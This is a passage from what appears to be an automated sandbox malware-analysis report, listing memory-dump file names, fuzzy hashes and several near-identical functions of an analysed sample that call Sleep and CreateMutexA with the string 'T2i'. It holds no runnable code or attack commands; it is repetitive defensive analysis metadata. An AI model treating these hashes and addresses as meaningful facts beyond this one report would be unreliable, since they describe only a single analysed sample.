Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2i
API String ID: 1464230837-1307235059
Opcode ID: 5613fef531f65e3200d41e29f513651248cf8f7e5d1335dd0654d0f8a2584785
Instruction ID: aa3f3564030015da39c5bd81148eb909ded830e93b5d9014dd8b4ec1bf2b1270
Opcode Fuzzy Hash: 5613fef531f65e3200d41e29f513651248cf8f7e5d1335dd0654d0f8a2584785
Instruction Fuzzy Hash: E8315B31A142008BEB08DBBCDCC97AEB7A7DFC1314F244658E054E73D6C77599819BA1

Function 00639F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0063A963
CreateMutexA.KERNEL32(00000000,00000000,00693254), ref: 0063A981

Strings

T2i, xrefs: 0063A970

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2i
API String ID: 1464230837-1307235059
Opcode ID: a35ed23605ed08cb0b42c12dd95bc9139e0b2727e8b40d15b48bbe9fcfbb0ce9
Instruction ID: 0ade03d8322c42e395568e5f01b942add5c5a00ee00fbcb8aae474ecd18e7d37
Opcode Fuzzy Hash: a35ed23605ed08cb0b42c12dd95bc9139e0b2727e8b40d15b48bbe9fcfbb0ce9
Instruction Fuzzy Hash: 78315931B141048BEB089FBCDC84BAEB763EF85314F20861DE098EB3D5C775998097A2

Function 0063A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0063A963
CreateMutexA.KERNEL32(00000000,00000000,00693254), ref: 0063A981

Strings

T2i, xrefs: 0063A970

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2i
API String ID: 1464230837-1307235059
Opcode ID: c103e27b2eb184f8f2744166add6c2d87838e463f56db1b8ae5fd9762913b930
Instruction ID: 374282682d9d40cbc275a5002e0dd9c19947ea20389d672a54f43a782e03d697
Opcode Fuzzy Hash: c103e27b2eb184f8f2744166add6c2d87838e463f56db1b8ae5fd9762913b930
Instruction Fuzzy Hash: D0314A31B141009BEB18DBBCCC85BAEB763DB82314F204619E098EB3D5C735998097A6

Function 0063A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0063A963
CreateMutexA.KERNEL32(00000000,00000000,00693254), ref: 0063A981

Strings

T2i, xrefs: 0063A970

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2i
API String ID: 1464230837-1307235059
Opcode ID: b9fa31d8adc1833d53eddd9d85531e0e175344015996af1175d7f0e23870a521
Instruction ID: 5f6e366f6a0293bdb7976082c37b73904b0736528c8d3ff9a747b127d4d12688
Opcode Fuzzy Hash: b9fa31d8adc1833d53eddd9d85531e0e175344015996af1175d7f0e23870a521
Instruction Fuzzy Hash: AF314A31B141009FEB089BFCDC89BAEB763EF86310F24461DE094A73D5C7359A809792

Function 0063A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0063A963
CreateMutexA.KERNEL32(00000000,00000000,00693254), ref: 0063A981

Strings

T2i, xrefs: 0063A970

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2i
API String ID: 1464230837-1307235059
Opcode ID: 44bad95b30c9088af0249bd23dfa54a222ec11727339341fba04fff97e990a6d
Instruction ID: 8c585c326121de2748f49c90bbb7d6d64316c170f5c9f3b53d6e0dd521c06d0b
Opcode Fuzzy Hash: 44bad95b30c9088af0249bd23dfa54a222ec11727339341fba04fff97e990a6d
Instruction Fuzzy Hash: 25311A31A141009BEB089BFCDC89BAEB7A7DFC1314F24461CE094EB3D6D775998097A6

Function 0063A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0063A963
CreateMutexA.KERNEL32(00000000,00000000,00693254), ref: 0063A981

Strings

T2i, xrefs: 0063A970

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
